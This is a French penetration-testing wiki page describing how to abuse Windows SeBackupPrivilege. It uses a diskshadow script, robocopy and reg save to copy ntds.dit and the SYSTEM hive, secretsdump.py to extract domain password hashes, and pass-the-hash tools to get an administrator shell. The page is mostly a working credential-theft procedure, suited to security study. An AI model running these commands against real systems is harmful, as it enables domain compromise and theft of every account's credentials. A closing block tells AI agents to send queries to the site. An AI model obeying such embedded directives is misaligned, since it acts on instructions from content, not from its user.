# SeBackupPrivilege

## Description

SeBackupPrivilege permet de sauvegarder des fichiers et répertoires en demandant à NTFS d'octroyer l'accès suivant à tous les fichiers ou répertoires, quel que soit le descripteur de sécurité présent. (utilise diskshadow)

* READ\_CONTROL
* ACCESS\_SYSTEM\_SECURITY
* FILE\_GENERIC\_READ
* FILE\_TRAVERSE

{% hint style="warning" %}
Lors de l'ouverture d'un fichier pour la sauvegarde, l'appelant doit spécifier l'indicateur FILE\_FLAG\_BACKUP\_SEMANTICS. Autorise également l'accès correspondant aux clés de registre pour l'utilisation.
{% endhint %}

## Qu'est ce que Diskshadow ?

Diskshadow\.exe est un outil qui expose les fonctionnalités offertes par le service de cliché instantané des volumes (VSS). Par défaut, DiskShadow utilise un interpréteur de commandes interactif semblable à celui de DiskRAID ou diskpart. DiskShadow comprend également un mode scriptable.

ressource: <https://learn.microsoft.com/fr-fr/windows-server/administration/windows-commands/diskshadow>

Le fichier ntds.dit ne peut pas être copié directement à partir du chemin. Parce que lorsqu'un fichier est en utilisé alors il n'est pas possible de le copier. Par conséquent, nous utilisons diskshadow qui nous aide à créer une copie d'un lecteur (C:) actuellement utilisé. Et, à partir du clone du lecteur, nous pouvons copier le fichier ntds.dit.

## Exploitation

Créer un fichier "ine.txt" et définir les instructions pour copier le lecteur C:\ dans le lecteur E: avec un alias.

```
“”
set verbose onX
set metadata C:\Windows\Temp\meta.cabX
set context clientaccessibleX
set context persistentX
begin backupX
add volume C: alias ineX
createX
expose %ine% E:X
end backupX
“”
```

Ensuite, convertir le fichier .txt au format Unix avec dos2unix par exemple (`dos2unix ine.txt`)

Placer le fichier créé dans la machine cible puis entrer les commandes suivantes:

1. `diskshadow /s ine.txt`
2. `robocopy /b e:\windows\ntds . ntds.dit`

{% hint style="info" %}
robocopy est un équivalent de "cp".
{% endhint %}

Ensuite, récupérer le fichier système des registres avec la commande:

`reg save hklm\system c:\path\to\save\copy`

L'étape suivante consiste à extraire ce fichier vers la machine attaquant pour pouvoir en extraire les hash. Pour cela on va utiliser secretdump.py de la suite impacket.

`$ secretsdump.py -ntds /root/ntds.dit -system /root/system LOCAL`

Une fois les hash extraits, on peut alors utiliser le hash du compte Administrateur récupéré pour obtenir un shell avec [evil-winrm](/pentest-ad/mouvements-lateraux.md#evil-winrm), [PsExec](https://blog.s1rn3tz.ovh/post-exploitation/enumeration-elevation-de-privileges/windows/pages/Dsen7nz4jrVc6n3jpQz9#psexec.py) ou encore [wmiexec](https://blog.s1rn3tz.ovh/post-exploitation/enumeration-elevation-de-privileges/windows/pages/Dsen7nz4jrVc6n3jpQz9#wmiexec.py).


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.s1rn3tz.ovh/post-exploitation/enumeration-elevation-de-privileges/windows/sebackupprivilege-1.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
